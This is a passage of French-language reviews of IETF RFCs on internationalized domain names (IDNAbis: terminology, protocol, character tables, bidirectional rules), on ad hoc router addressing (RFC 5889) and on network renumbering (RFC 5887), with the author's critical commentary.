Donc, une des rares conséquences réelles pour les serveurs de noms est la longueur plus importante de beaucoup d'IDN. Ce point est mentionné en section 8.2, mais sans préciser que DNSSEC, bien plus gourmand, a été déployé sans trop de problèmes. Depuis la rédaction du RFC, l'introduction de quatre TLD IDN dans la racine du DNS a bien montré qu'il n'y avait aucun problème technique, malgré le FUD qui a été répandu à ce sujet.
Vu le sujet du RFC, la section facultative sur l'internationalisation se devait d'être présente (section 9). Elle rappelle que les noms dans le DNS, quoique mnémoniques, ne sont pas écrits selon les règles des langues humaines (par exemple, l'espace n'y est pas permis) et qu'il ne faut donc pas demander aux IDN de permettre l'écriture de n'importe quelle phrase, en respectant toutes les règles de la langue. Ceci dit, la même section oublie par contre de dire que, si les noms de domaine ne sont pas du texte en langue naturelle, ils ne sont pas non plus de purs identificateurs (c'est pour cela qu'ils ont une utilisation mnémonique) et c'est bien cela qui justifie IDN (personne ne demande l'internationalisation des adresses IP qui sont, elles, de purs identificateurs).
Une autre raison pour laquelle les règles des langues humaines ne
peuvent pas être intégralement respectées dans le DNS est que le DNS
est mondial et qu'un nom de domaine doit pouvoir être utilisé
partout. D'autre part, le RFC rappelle également qu'un nom de domaine
n'est pas écrit dans une langue particulière. Quelle est la langue de
coca-cola.com
? (Certainement pas de l'anglais.)
Le développement de IDNAbis a nécessité la création de certains nouveaux registres à l'IANA. La section 10 revient sur ces registres. Elle rappelle que la liste des caractères autorisés n'est pas normative, seul l'est l'algorithme du RFC 5892. En revanche, la liste des règles contextuelles est normative. Plus délicate, la liste des politiques d'enregistrement, dont la section 10.3 rappelle qu'elle n'a aucune valeur, c'est juste un dépôt volontaire de leurs politiques par certains registres. Elle n'est spécifiée dans aucun RFC et ne découle que de considérations politiciennes à l'ICANN.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : H. Alvestrand (Google), C. Karp (Swedish Museum of Natural History)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010
Le fait que certains systèmes d'écriture soient de gauche à droite (comme celui utilisé pour ce texte) et d'autres de droite à gauche ne pose pas de problèmes lorsque le texte est entièrement dans un sens ou dans l'autre. Mais, si on les mélange, on arrive parfois à des résultats surprenants. Dans le contexte des noms de domaine, cela peut mener à rendre leur utilisation difficile. C'est pour cela que l'ancienne norme IDNA 1 limitait ce mélange (RFC 3491, section 6, qui référence RFC 3454, section 6). Les limitations étaient un peu trop strictes et sont légèrement libéralisées par ce nouveau RFC 5893, qui fait partie de la nouvelle norme IDNAbis. Le changement est faible en pratique, la plupart des noms autorisés restent autorisés. En dépit d'une fréquente utilisation de weasel words par ce RFC (comme « sûr » en section 1.3), il n'y a pas de conséquences, qu'elles soient positives ou négatives, pour la sécurité (malgré ce que raconte la section 9 du RFC).
On peut résumer l'ancienne norme (cf. section 1.2 de notre nouveau
RFC) en disant que tout composant d'un nom de domaine ne devait
pas inclure des caractères de directionnalité
différente (par exemple de l'alphabet grec et
de l'alphabet arabe) et qu'il devait commencer
et se terminer par des caractères ayant une
directionnalité déterminée (les chiffres arabes, par exemple, n'ont
pas de directionnalité déterminée). Notons qu'il y a deux poids et
deux mesures : les noms de domaine traditionnels en
ASCII n'avaient pas cette limite et, par
exemple, 7-septembre
ou 3com
sont des composants autorisés.
Il est prudent de relire la section 1.4 sur la terminologie, car tout le monde n'est pas expert BIDI. Soit on apprend par cœur le difficile UAX#9, la norme officielle du BIDI, soit on révise rapidement dans ce RFC les points importants :
Armé de ces définitions, on peut arriver au cœur du RFC, la section 2. Elle formalise les règles que doivent suivre des composants de noms de domaine internationalisés :
مدقق-XML-المدمج
(tiré de la documentation en arabe de SPIP)
serait interdit, à cause du sigle en caractères latins (même si la
présence de tels sigles est très courante dans les textes techniques
en arabe),Ce RFC 5893 propose également des justifications pour le choix de ces règles, sous forme de critères que devraient respecter tous les noms de domaine en Unicode (section 3) :
123
et 321
, par exemple,
pourraient s'afficher de manière identique, si le second est précédé
de caractères droite-à-gauche. L'interdiction des chiffres (caractères
sans directionnalité) au début d'un composant découle de ce
critère.Dans le cours de la discussion sur IDNAbis, d'autres critères avaient été suggérés mais n'ont finalement pas été retenus :
ABC.abc
sera affiché
abc.CBA
dans un contexte droite-à-gauche, et le
nom différent abc.ABC
sera affiché de manière
identique dans un contexte gauche-à-droite.Arrivé là, on a toutes les règles (la fin de la section 3 les reformalise de manière plus rigoureuse). La section 4 donne simplement des exemples de cas où les règles des RFC 3454 et RFC 3491 donnaient des résultats peu satisfaisants. Ainsi, la langue divehi, qui s'écrit avec un alphabet proche de l'arabe, le Thaana, a tous ses mots qui se terminent par un caractère Unicode combinant (un accent, disons en simplifiant). « Ordinateur » se dit en dhivehi « ކޮންޕީޓަރު » et le dernier caractère, U+07AA est l'ubu fili, un caractère (pas une lettre) sans directionnalité, qui aurait été rejeté par IDNA 1 (section 4.1).
Un problème analogue se pose en yiddish. Ainsi, l'organisation qui normalise les règles d'écriture du yiddish s'écrit « יִואָ » et le dernier caractère, U+05B8, n'est pas une lettre (section 4.2).
Il n'existe pas de solution technique aux problèmes d'affichage
BIDI, l'ensemble des situations possibles étant trop vaste. Il ne faut
donc pas croire qu'appliquer les règles de ce RFC suffira à être
tranquille. La section 5 donne quelques exemples, par exemple un nom
de plusieurs composants, où un composant un IDN (satisfaisant les
règles de ce RFC), précède des noms ASCII commençant par un chiffre :
المغربية.3com.com
va ainsi être
affiché d'une manière déroutante (cela devrait être
المغربية.3com.com
). Ce nom n'est pas interdit (alors que
c'était l'ambition initiale du groupe de travail idnabis) car il
existe déjà beaucoup de noms ASCII commençant par un chiffre, et car la
combinaison de composants pour former un nom est parfois réalisée
automatiquement (par exemple via la directive
search
dans /etc/resolv.conf
), ne
laissant pas de possibilité de contrôle, et
enfin parce que les
jokers du DNS (encore eux) peuvent faire qu'un nom peut être résolu
sans avoir été enregistré (et donc vérifié)...
La section 6 liste d'ailleurs quelques autres problèmes comme le
fait que le mélange de chiffres arabes et de
chiffres indo-arabes est interdit, mais que le
mélange de chiffres bengalis et
chiffres gujaratis n'est pas mentionné... Le
cas doit être traité par le registre (par exemple celui de
.IN
).
Les règles de ce RFC étant nouvelles, il y a potentiellement des problèmes avec les anciens noms. La section 7.1 analyse les questions de compatibilité. La 7.2 se préoccupe au contraire du futur en constatant que les propriétés BIDI ne font pas partie des propriétés qu'Unicode s'engage à ne pas modifier et que donc, dans le futur, un changement de propriétés BIDI pourrait rendre invalides des composants valides et réciproquement.
Les IDN BIDI posent-ils des problèmes de sécurité particuliers ? C'est ce que laisse entendre Patrik Fältström dans son article « Mixing different scripts is hard », qui est franchement tendancieux. Si les exemples donnés d'affichage BIDI suprenants sont amusants intellectuellement, il n'est jamais démontré que cela puisse avoir des conséquences de sécurité. La section 9 de ce RFC 5893, consacrée à ce sujet, ne fournit pas d'éléments nouveaux, à part de vagues accusations.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : P. Faltstrom (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010
Dans l'ensemble des RFC sur la version 2 des IDN (appelée IDNAbis ou IDNA2008), ce document normalise les propriétés Unicode utilisées pour calculer la catégorie à laquelle appartient un caractère donné, catégorie qui déterminera s'il est autorisé dans un nom de domaine en Unicode. (Il a depuis été partiellement mis à jour par le RFC 8753.)
Le concept de catégorie est défini dans la section 1 (avertissement : le vocabulaire de IDNAbis est très flou et on trouve « catégorie » ou « propriété » pour ce concept, des termes d'autant plus malheureux qu'ils existent aussi dans Unicode avec un sens différent ; j'ai donc plutôt utilisé « statut »). Ce RFC 5892 contient les tables complètes de tous les caractères Unicode et de leur catégorie. Mais ces tables ne sont présentes qu'à titre d'information : IDNAbis est en effet indépendant de la version d'Unicode utilisée et la vraie norme est l'algorithme utilisé pour créer les tables, algorithme qu'il faut faire tourner pour chaque version d'Unicode, pour trouver la table effective.
IDNAbis repose sur un principe
d'exclusion par défaut. Tout caractère est interdit, sauf s'il est
autorisé (cf. RFC 4690). Cette autorisation dépend de ses propriétés Unicode,
propriétés qui font partie de la norme Unicode. Par exemple, le U+00E9
(petit e accent aigu) est dans la catégorie Unicode
Ll
(lettres minuscules, presque toutes autorisées).
Le fait d'être dans la bonne catégorie des tables ne suffit pas : dans certains cas, IDNAbis met des contraintes aux combinaisons de caractères.
Quelles sont les catégories (ou statuts) possibles ?
PROTOCOL VALID
dit
PVALID
, les caractères acceptés.CONTEXTUAL RULE REQUIRED
, pour des
caractères acceptés sous condition, par exemple sur leur position dans
le composant du nom de domaine. Il est abrégé en
CONTEXTJ
(caractères qui contrôlent l'attachement
de deux mots comme le U+200D
, Zero-width
joiner) ou CONTEXTO
(les
autres).DISALLOWED
, les caractères
interdits.UNASSIGNED
, les points de code pas encore
affectés dans la norme Unicode, interdits aujourd'hui mais qui, selon leurs propriétés,
pourraient devenir autorisés dans le futur.Le classement d'un caractère dans une de ces catégories dépend de l'algorithme décrit plus loin. Une liste d'exceptions maintenue manuellement (section 2.6) permet d'ajuster le résultat, une autre liste manuelle permet de maintenir la stabilité (d'empêcher un caractère de changer de catégorie).
La section 2 décrit les catégories utilisées pour classer les caractères (à ne pas confondre avec
les catégories IDNA, comme PVALID
, décrites plus
haut) et les propriétés utilisées (elles ne sont pas mutuellement exclusives) :
U+0371
) est dans cette catégorie (sa définition
dans la base Unicode étant 0371;GREEK SMALL LETTER
HETA;Ll;0;L;;;;;N;;;0370;;0370
).White_Space
).U+1D100
(𝄀) à
U+1D1FF
.PVALID
à
DISALLOWED
ou le contraire. Ils seront alors mis dans cette catégorie
pour conserver leur ancien statut.Bien, on a dix catégories. Comment les utilise t-on pour déterminer si un caractère est acceptable ou pas ? C'est l'objet de la section 3, qui indique cet algorithme en pseudo-code. Je n'en donne qu'une partie ici :
SI le caractère est dans les Exceptions, sa propriété IDNA est donnée par la table Exceptions ... SINON SI le caractère est dans LDH, alors il est PVALID ... SINON SI le caractère est dans les Blocs Ignorables alors il est DISALLOWED ... SINON SI le caractère est dans les Lettres & Chiffres, alors il est PVALID SINON SI (cas par défaut) il est DISALLOWED
La section 4 insiste sur le fait que la liste des caractères faisant foi est celle calculée par l'algorithme ci-dessus. La liste fournie dans ce RFC 5892, en annexe B, n'est là que pour information (en effet, chaque nouvelle version d'Unicode modifiera les tables).
On a vu que le sort d'un caractère dont le statut est
CONTEXT
nécessite de regarder une table. Celle-ci
est définie dans la section 5.2 et sa syntaxe figure dans l'annexe
A. Elle est hébergée à l'IANA.
Enfin, même si elle n'a pas de caractère normatif (cf. RFC 8753), la plus grande partie du RFC est formée par l'annexe B, qui donne l'état actuel des tables de caractères avec leur statut.
Comme indiqué plus haut, les tables figurant dans le RFC ne sont
pas normatives, seul l'algorithme l'est. En pratique, les tables ont
été produites par un programme écrit par l'auteur du RFC qui ne le
distribue pas (malgré plusieurs demandes). J'ai refait une mise en
œuvre incomplète (manque de temps) de
l'algorithme qu'on peut récupérer en create-idnabis-tables.py
.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010
L'ensemble des RFC sur la deuxième version d'IDN couvre la terminologie (RFC 5890), les tables de caractères autorisés (RFC 5892), les justifications des choix effectués (RFC 5894) et, dans ce RFC 5891, le protocole lui-même, utilisé pour l'enregistrement et la lecture des noms de domaine.
Ces RFC « IDNAbis » remplacent donc les RFC 3490 et RFC 3491 mais pas le RFC 3492,
Punycode continuant à être l'encodage utilisé
pour les IDN, avec le même préfixe, xn--
. Le principe reste le même : comme
les règles pour les noms de machine (mais pas pour les noms de
domaine) imposent l'utilisation des seuls caractères
US-ASCII, comme il n'est pas question de mettre
à jour toutes les plate-formes utilisées, IDN fonctionne en encodant
les noms de domaines Unicode en ASCII, grâce à
l'algorithme Punycode. L'infrastructure n'est donc pas modifiée mais
on peut présenter aux utilisateurs le vrai nom en Unicode, quitte à le
traduire lors du passage sur le réseau. (Officiellement, IDNAbis est
nommé IDNA 2008 mais ce nom est incorrect, le protocole n'ayant pas
été terminé en 2008.)
La section 3 précise ce fonctionnement en exigeant qu'un nom de domaine utilisé comme tel (i.e. comme élément d'un protocole, pas lorsqu'il est simplement cité dans du texte libre), doit être encodé en ASCII lorsqu'on parle aux applications non-IDN, et que la comparaison entre deux noms de domaine (pour voir s'ils sont égaux) doit se faire entre deux formes Unicode ou deux formes ASCII mais pas en mélangeant les deux. Dans IDNAbis, le passage de la forme Unicode (U-label) à la forme ASCII (A-label) et en sens inverse se fait sans perte d'informations. Les deux comparaisons sont donc équivalentes. Comme beaucoup de protocoles utilisent des noms de domaine, les IDN affectent potentiellement beaucoup de monde. Sauf si le protocole le prévoit explicitement (ce qui est le cas des IRI du RFC 3987), les IDN doivent donc être mis sous leur forme ASCII. Idem pour les requêtes et réponses effectives faites avec le DNS.
Petit détail au passage. On trouve souvent des noms de domaine dans
la partie droite d'un enregistrement DNS, par
exemple dans le champ RNAME
d'un SOA, qui indique l'adresse de courrier du responsable de la
zone). Comme le rappelle la section 3.2.2, IDN ne change pas ces
champs qui restent actuellement en pur ASCII, en attendant un futur
RFC (le RFC 6530 ne suffit pas).
Passons maintenant aux deux protocoles utilisés par IDNAbis, le
protocole d'enregistrement et le protocole de résolution. Le premier
est décrit dans la section 4. Il concerne l'enregistrement d'un nom de
domaine Unicode auprès d'un registre
(attention, un registre ne gère pas forcément un
TLD, ce protocole concerne tous les registres,
même, par exemple, celui de bortzmeyer.org
).
Donc, première étape, le registre reçoit un nom en Unicode (section 4.1). Il doit être normalisé en NFC et peut être encore normalisé selon des règles locales (cf. RFC 5895). Ce nom peut être transmis directement en Unicode (« U-label ») ou bien encodé en Punycode (« A-label »). Le RFC recommande de joindre la forme Punycode (voire uniquement celle-ci) mais il n'y a aucune justification technique à ce choix, c'est juste du FUD anti-Unicode.
Le registre doit ensuite vérifier que le nom est correct
techniquement (section 4.2). Ainsi, il faut tester que la conversion
U-label -> A-label et retour
redonne bien le meme nom et, si uniquement une forme Punycode est
reçue, qu'elle est bien légale (toute chaîne de caractères commençant
par xn--
n'est pas forcément du Punycode). Les
caractères interdits doivent être absents (cf. RFC 5892).
À côté des règles absolues (« le caractère ; est interdit »), il existe également des règles contextuelles comme l'interdiction du caractère Katagana U+30FB sauf dans les écritures utilisées au Japon (cf. RFC 5892). Enfin, si le nom comporte des caractères dont la directionnalité est de droite à gauche (cas de l'écriture arabe), il faut également suivre les prohibitions du RFC 5893.
Notons que les interdictions de ce RFC 5891 ne sont qu'un minimum. Un registre peut toujours ajouter ses propres règles comme de n'accepter que les caractères qui sont utilisés pour la langue locale, ou bien pour interdire des mots considérés comme grossiers.
Après ce parcours du combattant, le nom est enregistré. Reste à le résoudre via une requête DNS. C'est l'objet de la section 5, sur le protocole de résolution. Ce dernier effectue moins de tests puisqu'ils sont censés avoir été faits à l'enregistrement. Notez toutefois que ce n'est pas un argument très solide : non seulement il peut exister des registres qui ne font pas les tests ou bien les font mal mais la seule existence des jokers dans le DNS (RFC 1034, section 4.3.3) permet à un nom non enregistré d'« exister » quand même.
Bref, pour résoudre un IDN, le client doit donc convertir en Unicode (en effet, l'environnement de départ n'utilisait pas forcément Unicode, cela pouvait être, par exemple, Latin-1) et le normaliser en NFC. Ensuite, il teste que les caractères Unicode présents sont bien autorisés (section 5.4). Il est à noter que le résultat de ce test dépend de la version d'Unicode utilisée par le client (probablement via des bibliothèques standard fournies par le système d'exploitation). Ainsi, un nom de domaine utilisant un caractère très récemment affecté par Unicode pourrait être refusé par beaucoup de clients IDN.
Enfin, le client IDN convertit le nom en Punycode et termine par une résolution DNS normale (sections 5.5 et 5.6).
La section sur la sécurité, obligatoire dans les RFC, mentionne le risque de confusion entre des caractères similaires (un FUD classique contre IDN) mais ne fournit pas de solution dans le protocole. Elle compte sur les registres pour ne pas accepter les noms problématiques.
L'annexe A dresse la liste des différences avec la première version d'IDN. Je cite notamment :
Pour un point de vue critique sur IDNA bis, on peut consulter le Unicode Technical Standard #46, « Unicode IDNA Compatibility Processing », qui remet notamment en cause le soi-disant rôle d'Unicode dans le hameçonnage. Une critique de cette critique a été publiée en Review of Unicode TR#46.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010
La nouvelle norme pour les noms de domaine écrits en Unicode, nommée IDNA2008, modifie les règles qui s'appliquent à ces IDN. Elle est composée de plusieurs RFC dont ce RFC 5890, qui fixe la terminologie.
Dans cette nouvelle version, sur laquelle le travail a commencé en 2008 (d'où son nom officiel d'IDNA2008, cf. section 1.1), la norme est plus riche et plus complexe. Le seul RFC des définitions fait 29 pages. Elle remplace IDNA 1, ou « IDNA2003 » (l'ancienne norme, dans les RFC 3490 et RFC 3491). Elle crée notamment les nouveaux termes de U-label (composant de nom de domaine en Unicode) et de A-label (composant de nom de domaine internationalisé encodé selon l'algorithme Punycode du RFC 3492). Contrairement à d'autres normes de l'IETF, elle n'est pas indispensable que pour les programmeurs, mais aussi pour ceux qui, par exemple, décident des politiques d'enregistrement des registres.
Quels sont les RFC qui composent IDNA2008 ? La section 1.3 donne la liste officielle :
La section 2 est ensuite consacrée aux mots-clés de IDNA2008
(attention à ceux qui connaissaient l'ancienne norme, le vocabulaire
est souvent nouveau). Les RFC de IDNA2008 utilisent également un
vocabulaire non-spécifique aux IDN mais qui est rappelé en section
2.2. Ainsi, un registre désigne toute
organisation qui enregistre des noms de domaine, même si elle ne gère
pas un TLD (je suis le registre de
bortzmeyer.org
). LDH (Letters Digits
Hyphen) désigne les caractères ASCII
qui sont traditionnellement autorisés dans les noms de machine (RFC 1123). Notez bien que les noms de domaine,
contrairement à ce qu'écrivent beaucoup d'ignorants, ne sont
pas limités à LDH.
La section 2.3 introduit les termes spécifiques à IDN. Par exemple :
example
dans www.example.com
, nom qui compte trois
composants). Deux sous-ensemble de LDH label sont
définis, Reserved LDH label (ceux dont le troisième
et quatrième caractères sont des tirets) et les non-réservés (les noms
de domaines pré-IDN comme bortzmeyer.org
). Parmi
les réservés, certains ont xn
en premier et
deuxième caractère. Ils forment les XN labels dont
tous, c'est important, ne sont pas forcément des encodages valides en
Punycode. Ceux qui sont valides sont les A-labels,
les autre étant nommés d'un terme péjoratif absolument non justifié,
fake A-labels (IDNA2008 contient beaucoup de
réglements de compte via le vocabulaire). La figure 1 du RFC
représente graphiquement les relations entre ces différents
ensembles. Il est recommandé de la consulter en cas de migraine.xn--stphane-cya
est un
A-label.stéphane
est un
U-label (dont le A-label est le
xn--stphane-cya
cité plus haut). Toute chaîne
Unicode n'est pas forcément un U-label. Elle doit
être normalisée en NFC et ne compter que des
caractères autorisés. Tout U-label peut être
converti en un A-label unique et réciproquement.Notons que tous ces termes sont pour des composants d'un nom de domaine (label). Le nom lui-même, s'il contient au moins un A-label ou un U-label est un IDN.
Il y a plein d'autres détails sur les composants d'un nom. Par exemple, lorsque les normes IDNA2008 parlent de l'ordre d'un caractère, c'est une référence à l'ordre de transmission via le réseau. L'affichage peut être différent, puisque certaines écritures se font de droite à gauche.
Tout RFC doit comporter une section sur la sécurité et c'est ici la section 4. Avec IDN, il y a potentiellement des problèmes de débordement de tableau (le U-label peut avoir plus de caractères que son A-label, section 4.2). Mais cette section est aussi l'occasion d'une attaque erronée contre les IDN, accusés d'augmenter la confusion des utilisateurs. D'où des conseils tout à fait inappropriés comme de montrer d'une manière spécifique les noms composés de plusieurs écritures (une pratique pourtant courante dans certains pays).
Les discussions sur cette section avaient été acharnées, avant même la création du groupe de travail, et ont donc mené à des paragraphes déroutants, bourrés d'allusions que le lecteur débutant ne comprendra sans doute pas (comme les mystérieux « risques », jamais explicités, de la section 4.4). Au moins, cette section et la 4.8 disent franchement que la question des caractères visuellement similaires n'a pas de solution technique.
Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : E. Baccelli (INRIA), M. Townsley
(Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF autoconf
Première rédaction de cet article le 7 septembre 2010
Pendant longtemps, les normes TCP/IP ne traitaient que le cas de machines statiques, administrées par des professionnels, et dotées de connexions matérielles et d'adresses IP stables. Le paysage aujourd'hui est bien différent, entre autres à cause des réseaux ad hoc, ces réseaux non gérés, qui se constituent au hasard des rencontres, par exemple entre deux équipements portables dont les propriétaires se croisent. On trouve même aujourd'hui des routeurs pour ces réseaux et ce court RFC introduit le problème de leur adressage. Quelles adresses IP pour des routeurs ad hoc ?
Les sections 1 et 3 définissent le problème : soit un routeur connecté à au moins un lien dont la connectivité n'est pas vraiment connue. Le matériel marche parfaitement mais on ne sait pas à l'avance si les paquets passeront. Le réseau peut marcher très bien ou il peut mal marcher ou bien encore il peut marcher par intermittence, ce qui est courant avec le sans-fil. Et ce réseau n'est pas administré par un humain compétent (pas de plan d'adressage, par exemple). Quelle adresse IP doit choisir le routeur ?
Il existe plusieurs protocoles de routage pour de tels cas (comme, par exemple, le DSR du RFC 4728 ou l'OLSR du RFC 7181, ce dernier étant plus fréquent dans les réseaux sans-fil communautaires) mais pas de mécanisme standard pour choisir les adresses du routeur. Ce RFC expose les contraintes et demandes pour un tel mécanisme, en se focalisant sur les adresses utilisées par les protocoles de routage (les applications ont également besoin que des adresses IP soit attribuées mais leurs exigences ne sont pas forcément les mêmes).
Commençons par la configuration du préfixe des adresses IP (section 4). Puisque la connectivité du lien n'est pas connue, on ne peut pas savoir quelles adresses IP sont « sur le lien » (locales au lien), à part bien sûr celle de l'interface elle-même. Donc, on ne peut rien garantir quant à la possibilité de joindre une autre adresse en un seul saut. D'où le principe posé par cette section 4 : on ne configure pas de préfixe du tout.
Et l'adresse IP du routeur ? La section 5 analyse ce cas. Les protocoles de routage qui tourneront peuvent exiger, dans certains cas, des adresses IP uniques au sein du domaine de routage (cf. RFC 1136 pour une définition de cette notion). Comme avoir une adresse IP unique satisfait tous les protocoles de routage, même les plus exigeants, la section 5 pose le principe que l'adresse IP allouée soit unique, au moins dans le domaine de routage.
Une fois ces principes posés dans les sections 4 et 5, la section 6 en vient au concret : elle sépare IPv6 et IPv4. Pour le premier (section 6.1), adresses IP uniques dans le domaine de routage et pas de préfixe configuré sur les interfaces à connectivité inconnue. Les adresses IPv6 link-local (RFC 4291, section 2.5.6) sont explicitement déconseillées : elles ne sont uniques que par lien et ne peuvent donc pas identifier un routeur et le RFC 4291 interdit nettement de transmettre les paquets ayant ces adresses comme source d'un lien à un autre. Le but d'un routeur étant de faire passer les paquets d'un lien à un autre, cela élimine ces adresses.
À noter que notre RFC 5889 ne suggère pas de solution, il pose des principes. On peut penser aux adresses ULA (Unique Local Addresses, dans le le RFC 4193) mais elles ne sont pas citées (car il n'y a pas encore d'accord sur le fait qu'il faille obtenir une adresse routable globalement ou seulement routable localement ; dans ce second cas, l'ULA serait clairement un bon choix).
En second, IPv4 fait l'objet de la section 6.2. Les règles sont presque les mêmes sauf que IPv4 ne permettant pas de dire explicitement qu'il n'y a pas de préfixe configuré pour une interface, la règle dit à la place que ce préfixe doit être de longueur 32 (et donc ne comporter qu'une seule adresse).
Les adresses locales au lien (RFC 3927) sont tout aussi déconseillées que pour IPv6, d'autant plus que, avec la faible taille de l'espace d'adressage qui leur est réservée en IPv4, elles ont encore moins de chances d'être uniques.
Merci à Emmanuel Baccelli pour sa relecture et ses commentaires.
Date de publication du RFC : Mai 2010
Auteur(s) du RFC : B. Carpenter (Univ. of Auckland), R. Atkinson (Extreme Networks), H. Flinck (Nokia Siemens Networks)
Pour information
Première rédaction de cet article le 28 mai 2010
Changer les adresses IP utilisées par un réseau a toujours été une plaie pour l'administrateur réseaux. Il faut modifier des tas de fichiers, plusieurs configurations et on en oublie toujours. Des années après, on retrouve encore les anciennes adresses IP à des endroits inattendus (dans les documentations, par exemple). Sans compter que le changement peut mettre en jeu des partenaires extérieurs à votre organisation, par exemple parce qu'ils ont autorisé vos adresses IP dans la configuration de leur pare-feu. Bref, tout ingénieur qui a fait l'opération sait très bien qu'elle est très coûteuse.
Résultat, les gens hésitent à changer. Ils souhaitent conserver leurs adresses IP en changeant d'opérateur (les adresses PI, l'équivalent Internet de la portabilité des numéros de téléphone), ils jouent avec les règles des RIR pour garder les adresses, ils contribuent ainsi à la fragmentation de la table de routage globale.
Un certain nombre de projets de nouvelles architectures pour l'Internet, ou bien de tentatives de réduction de la taille de la DFZ repose sur l'idée que la rénumérotation d'un réseau devrait devenir banale (cf. section 1), permettant ainsi de ne garder que les noms de domaine comme identificateurs stables, les adresses IP pouvant changer sans douleur. C'était certainement l'idée originale pour la séparation entre adresses et noms mais est-ce réaliste ? Ce RFC répond qu'en tout cas, il y a du travail avant que ce ne soit le cas...
Que contient ce document ? Une analyse des mécanismes permettant ou facilitant le rénumérotation, ainsi que de leurs limites. C'est un document très concret, nourri de beaucoup d'expériences pratiques, et qui devrait intéresser tous les administrateurs réseaux. À l'IETF , espérons qu'il injectera un peu de réalisme opérationnel dans les discussions. Il succède au RFC 1900, d'où son titre dérive. Plusieurs documents ont été publiés par l'IETF sur ce sujet (cf. section 1, qui cite notamment le RFC 4192). Depuis la publication du RFC 1900 en 1996, plusieurs techniques ont été développées, qui auraient dû faire disparaître le problème (par exemple DHCP - RFC 2131 et RFC 8415 ou l'auto-configuration sans état d'IPv6 - RFC 4862). Pourtant, le diagnostic unanime des praticiens est que le renumérotage des réseaux demeure coûteux et délicat (renuméroter une machine individuelle, par exemple celle de M. Michu chez lui, alors qu'il est abonné à un FAI grand public est, par contre, en général une opération indolore).
Quelles sont les raisons pour renuméroter un réseau entier ? La section 1 fournit de nombreux cas où c'est nécessaire :
Dans tous ces cas, le changement est planifié à l'avance (la renumérotation non planifiée est bien plus difficile).
Enfin, pour terminer cette introduction, le RFC note que certaines solutions techniques, en séparant les adresses locales et les adresses publiques, peuvent diminuer et peut-être supprimer le besoin de renumérotation. C'est le cas du NAT, bien sûr, mais aussi de toutes les solutions fondées sur la séparation de l'identificateur et du localisateur. Mais le NAT a d'énormes défauts (voir par exemple le RFC 5128) et les techniques de séparation sont encore peu déployées.
Quelles sont les solutions techniques aujourd'hui pour faciliter la rénumérotation ? La section 2 explore les techniques du côté des machines non routeuses. Par exemple, DHCP (section 2.1) a été un grand succès en terme de déploiement et il rend la renumérotation d'une machine « terminale » presque indolore. Même chose pour l'auto-configuration sans état de IPv6 (sections 2.2 et 2.3) ou pour PPP (section 2.4, RFC 1332 et RFC 5072), ce dernier étant bien plus riche puisqu'il fournit des possibilités de négociation des paramètres comme les adresses.
La très grande majorité des interactions entre machines, sur
l'Internet, commencent par une requête DNS. En
effet, les machines et les services sont en général référencés par
leur nom et pas par leur
adresse IP. La rénumérotation d'un réseau va donc nécessiter la mise à
jour des enregistrement DNS (section 2.5). Sur les sites sérieux, ces
enregistrements sont typiquement mis à jour à partir d'une base de
données, ce qui rend la renumérotation relativement simple. Une
solution alternative est que la machine (ou le serveur DHCP)
mette à jour le DNS (RFC 3007) Cette solution est largement déployée, et des outils
existent pour toutes les plate-formes
(comme nsupdate
pour
Unix).
Une limitation à l'usage du DNS pour garder des identificateurs stables (les noms de domaine) afin de pouvoir changer facilement les adresses IP est la sécurité. Celle du DNS est traditionnellement imparfaite. Au moment de la publication de notre RFC 5887, toutefois, les choses changent nettement puisque le déploiement de DNSSEC bat son plein (la racine du DNS a ainsi été signée quelques semaines avant la publication du RFC).
Encore un cran au dessus de l'utilisation des noms de domaine se trouve la découverte de services dans le DNS. C'est ainsi que SLP (RFC 2608) ou bien des solutions non-standard comme Bonjour permettent de découvrir, par exemple, l'imprimante du réseau local.
Cette section 2 était consacrée aux mécanismes utilisés par les machines non-routeuses. Et sur les routeurs ? La section 3 les étudie. Par exemple, l'option Prefix Delegation de DHCP (RFC 3633) permet d'indiquer à un routeur le préfixe IPv6 qu'il va devoir router (section 3.1). Il existe aussi un mécanisme ICMP, normalisé dans le RFC 2894, mais qui semble n'avoir jamais été déployé. Et le RFC 4191 fournit également un service intéressant d'enrichissement des Router Advertisements d'IPv6.
Le cas spécifique d'IPv6 est traité également en section 4, qui note que, contrairement à son prédécesseur, IPv6 a été prévu dès le début pour une coexistence de préfixes d'adresses sur le même réseau. Cela permet théoriquement des renumérotations plus faciles, en installant le nouveau préfixe sans supprimer l'ancien immédiatement (cf. RFC 4192). En outre, le mécanisme des ULA (RFC 4193) permet d'avoir des adresses locales uniques (ce qui n'est pas possible avec les adresses privées IPv4 du RFC 1918). D'autre part, l'existence des adresses IP temporaires du RFC 8981 fait que les mises en œuvres d'IPv6 sont normalement préparées à des fréquents changements d'adresse, ce qui devrait, en théorie, faciliter les rénumérotations.
Avec tous ces mécanismes, comment se présente en pratique la
renumérotation d'un réseau ? La section 5 descend dans le concret en
étudiant ce point. Du côté des machines non-routeuses, une première
série de problèmes concerne la couche 3
(section 5.1.1). La grande majorité de ces machines obtient son
adresse par DHCP et la garde pour la durée du bail. L'administrateur
réseau compétent, qui planifie à l'avance, peut donc abaisser la durée du bail lorsque le moment
de la renumérotation approche, changer le préfixe, puis remonter la
durée du bail. On peut ainsi renuméroter uniquement avec DHCP. Il
existe aussi une extension DHCP IPv4, FORCERENEW
(RFC 3203) pour forcer une mise à jour immédiate, si on a oublié de
planifier. Mais elle semble peu disponible en pratique.
DHCP n'est pas qu'une aide, il peut aussi être lui-même une source de problèmes. Il a actuellement 170 options (!) et certaines transportent des adresses IP, et la configuration de ces options doit être changée en cas de renumérotation.
